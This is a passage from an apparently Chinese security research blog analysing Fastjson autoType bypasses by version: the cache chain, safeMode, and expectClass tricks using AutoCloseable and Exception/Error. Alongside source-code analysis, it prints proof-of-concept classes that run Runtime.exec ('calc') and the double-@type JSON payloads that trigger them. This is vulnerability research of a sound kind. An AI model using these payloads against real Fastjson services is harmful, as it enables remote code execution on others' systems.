在高版本中，抛出异常不仅需要在黑名单之中，还需要不在mapping里面，因为我们已经加入到了mapping，所以在高版本中，即使autoTypeSupport为true，依然可以成功利用。
通过阅读源码，最后发现这个逻辑是在1.2.33中开始加入的，也就是说，缓存链（暂时就叫他这个名字吧）在1.2.25-1.2.32中，需要autoTypeSupport为False，在1.2.33-1.2.47中无论autoTypeSupport是什么值，都可以成功利用。
1.2.48-1.2.67
在1.2.48版本中，修改了cache的默认值为false。所以在1.2.48-1.2.67的版本中，有的都是针对黑名单的绕过，有着许多新的链条。
具体可看：mi1k7ea师傅的博客
1.2.68-
在此版本中， fastJson引入了safeMod功能：
ParserConfig.getGlobalInstance().setSafeMode(true);当开启safeMod选项时，会直接抛出异常：
所以，这意味着，之前的Payload在safeMode开启时都会失效。目前好像没有披露出什么办法可以做到绕过此选项。
expectClass绕过AutoTypeSupport（<=1.2.68且未开启safeMode——AutoCloseable）
这里提出了一种不同于利用缓存绕过AutoTypeSupport的思路，此处代码以1.2.25为例子，在其他版本中，代码逻辑变化也不大。当我们的@type为AutoCloseable时，因为他就在Mappings中，所以会返回对应类：
当回到DefaultJsonParser时，获取到的是JavaBeanDeserializer：
最后调用JavaBeanDeserializer的deserialze方法，跟进，有如下的代码逻辑：
if (!matchField) {
//获取了第二个参数
key = lexer.scanSymbol(parser.symbolTable);
//省略...
if (JSON.DEFAULT_TYPE_KEY == key) {//JSON.DEFAULT_TYPE_KEY为@type
lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
if (lexer.token() == JSONToken.LITERAL_STRING) {
// 获取了参数的值
String typeName = lexer.stringVal();
lexer.nextToken(JSONToken.COMMA);
if (typeName.equals(beanInfo.typeName)) {
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
break;
}
continue;
}
ParserConfig config = parser.getConfig();
ObjectDeserializer deserizer = getSeeAlso(config, this.beanInfo, typeName);
Class<?> userType = null;
if (deserizer == null) {
//注意这里，有反序列化逻辑
Class<?> expectClass = TypeUtils.getClass(type);
userType = config.checkAutoType(typeName, expectClass);
deserizer = parser.getConfig().getDeserializer(userType);
}
return (T) deserizer.deserialze(parser, userType, fieldName);从代码可以看到，在JavaBeanDeserializer的deserialze中，会去获取第二个key，并key为@type时，会去获取其值，最后尝试将其反序列化。这里的checkAutoType中的typeName即为第二个@type的值，expectClass为AutoCloseable。继续跟进，回到我们的checkAutoType：
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}因为expectClass不为空，所以会进入这里的检查，这就以为着我们的类不能在黑名单之中，师傅们可能会觉得，说了半天，这不还是没用吗，但是我们先接着往下看：
//会进入这里
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
//检查clazz和expectClass间的关系
if (expectClass.isAssignableFrom(clazz)) {
// 注意这里有return
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}从代码上可以看出，因为我们的expectClass不为空，所以会调用loadClass直接加载，之后如果被加载类是expectClass（即AutoCloseable）的子类或是存在继承关系就会成功return。若其中有恶意的setter或者getter就可以用来攻击了。
因此，expectClass绕过AutoTypeSupport的关键点如下：
- 第一个@type要指定为AutoCloseable（本菜狗有遍历一下Mappings中的其他类，他们貌似都获取不到JavaBeanDeserializer）
- Payload中有第二个@type
- 指定的类不能在黑名单之中
- 指定的类与AutoCloseable存在关系
- 指定的类中有可以利用的setter或是getter
POC代码如下,恶意类实现了AutoCloseable接口，并在setter里面有恶意操作：
public class HackerMe implements AutoCloseable{
private String cmd;
public HackerMe(){
}
public void setCmd(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
@Override
public void close() throws Exception {
}
}Payload如下：
String evilJson = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"HackerMe\",\"cmd\":\"calc\"}";不过在真实环境中是不存在这样的类的,考虑到文章篇幅已经很长了，这里就先给出有实际Gadget的链接，之后本人准备将再写一篇《高版本FastJson下的利用链分析》，来将一些链条汇总分析。
具体可看：mi1k7ea师傅的博客，AutoCloseable在1.2.69中被加入了黑名单，所以在之后的版本无法实现绕过。
expectClass绕过AutoTypeSupport（<=1.2.82且未开启safeMode——Exception/Error）
在上文我们讲解了利用AutoCloseable类来进行expectClass的绕过，其实在源码中通过正则checkAutoType\((.+?), (?!null).+,可以看到，还有还有另外一个Deserializer存在往checkAutoType传exceptClass的情况：
如上图所示，在ThrowableDeserializer也同样存在类似代码，同样的是有获取第二个键值的操作，其中传入的exceptClass是Throwable，并且在最后会调用其setter：
所以我们只要在Mappings中找到谁会调用ThrowableDeserializer就行了，在ParserConfig的getDeserializer可以看到有如下的逻辑：
else if (Map.class.isAssignableFrom(clazz)) {
deserializer = MapDeserializer.instance;
} else if (Throwable.class.isAssignableFrom(clazz)) {
// 注意这里
deserializer = new ThrowableDeserializer(this, clazz);
} else if //省略可以看到，只要是Throwable的子类就行，在Mappings里面我们虽然没有直接看到直接继承Throwable的，但是我们发现Exception和Error是继承的Throwable：
public class Error extends Throwable {
static final long serialVersionUID = 4980196508277280342L;
//略
public class RuntimeException extends Exception {
static final long serialVersionUID = -7034897190745766939L;
//略而在mappings里，我们可以看到有一大堆的异常类，他们都直接或是间接的继承了Exception和Error，从而继承了Throwable：
所以POC可以如下构造:
public class JustTest extends Exception{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}Payload如下：
String evilJson = "{\"@type\":\"java.lang.Exception\",\"@type\":\"JustTest\"}";同样的，这里的实际利用链将在之后的文章进行分析。值得一提的是，利用异常类来绕过AutoType的方法，直到1.2.83才被修复。
0x07 参考
- P牛知识星球里大师傅分享的PDF （大家有兴趣也可以加入P牛的知识星球，一次加入，永久免费：https://t.zsxq.com/04bUVbeuf）
- 跳跳糖@Da22le师傅的文章
- @mi1k7ea师傅的博客
- @kingx师傅的博客